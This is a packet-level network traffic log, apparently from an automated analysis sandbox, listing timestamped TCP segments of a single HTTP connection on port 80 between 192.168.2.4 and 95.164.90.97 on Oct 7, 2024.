Oct 7, 2024 18:43:36.545011044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545015097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545020103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545031071 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545034885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545037031 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545041084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545054913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545058966 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545066118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545070887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545078039 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545080900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545087099 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545092106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545097113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545097113 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545101881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545106888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545113087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545125008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545130014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545133114 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545140028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545145035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545155048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545159101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545169115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545171976 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545173883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545178890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545183897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545188904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545192957 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545193911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545208931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545212030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545222044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545226097 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545228004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545233011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545237064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545239925 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545242071 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545247078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545252085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545260906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545265913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545270920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545283079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545289040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545291901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545298100 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545298100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545305967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545309067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545320034 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545335054 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545352936 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545367956 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545386076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545392036 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545402050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545407057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545412064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545424938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545433044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545463085 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545501947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545506954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545516968 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545521975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545526981 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545536995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545541048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545550108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545556068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545561075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545562029 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545576096 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545586109 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545607090 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545619011 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545643091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545649052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545686007 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545775890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545780897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545799971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545805931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545815945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545820951 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545820951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545825005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545835018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545840025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545845032 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545855999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545861006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545864105 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545866966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545872927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545877934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545882940 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545890093 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545916080 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.636444092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636471033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636477947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636483908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636488914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636495113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636506081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636512041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636517048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636522055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636527061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636533022 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636535883 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.636538029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636550903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636557102 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636562109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636567116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636571884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636579990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636580944 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.636584997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636590004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636595964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636606932 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636607885 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.636620998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636624098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636626959 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.636630058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636632919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636645079 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.636681080 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.636714935 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636720896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636727095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636735916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636740923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636746883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636753082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636759043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.636765957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636770964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636779070 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.636780024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636785984 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636790991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636795998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636796951 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.636806011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.636827946 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.636853933 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.637857914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637864113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637875080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637880087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637883902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637888908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637904882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637908936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637913942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637917995 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.637919903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637924910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637929916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637939930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637944937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637953997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.637959957 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.637980938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.637991905 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638008118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638019085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638027906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638032913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638036966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638041019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638051033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638056040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638061047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638062954 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638068914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638073921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638079882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638088942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638093948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638093948 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638099909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638104916 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638128042 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638155937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638164997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638170004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638175964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638195038 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638214111 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638267040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638273001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638283014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638288021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638292074 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638303995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638309002 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638309002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638324976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638335943 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638344049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638362885 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638422966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638428926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638442039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638447046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638453007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638462067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638467073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638472080 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638472080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638483047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638489008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638494015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638494015 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638509035 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638529062 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638576031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638586044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638591051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638596058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638602018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638612986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638613939 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638617992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638622999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638633013 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638638020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638643026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638644934 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638649940 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638654947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.638669968 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.638690948 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.639537096 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.639543056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.639549017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.639553070 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.639559031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.639564037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.639569998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.639575005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.639580011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.639585972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.639600039 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.639637947 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.790585995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790627956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790646076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790657997 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.790673971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790685892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790697098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.790705919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790716887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790736914 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.790741920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790751934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790759087 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.790761948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790775061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790786028 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.790792942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790802956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790812016 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.790819883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790829897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790843010 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.790858984 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790868044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.790877104 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790909052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790918112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.790925026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790941000 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.790941000 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790957928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.790966988 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.790997982 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791007042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791023970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791055918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791071892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791100025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791100979 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791115046 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791151047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791158915 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791167974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791199923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791210890 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791215897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791232109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791234016 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791249037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791260958 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791285038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791289091 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791302919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791341066 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791347027 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791358948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791373968 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791374922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791404009 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791431904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791450977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791465044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791466951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791482925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791486979 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791498899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791513920 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791515112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791546106 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791553020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791568995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791569948 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791584969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791596889 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791601896 CEST	80	51632	95.164.90.97	192.168.2.4
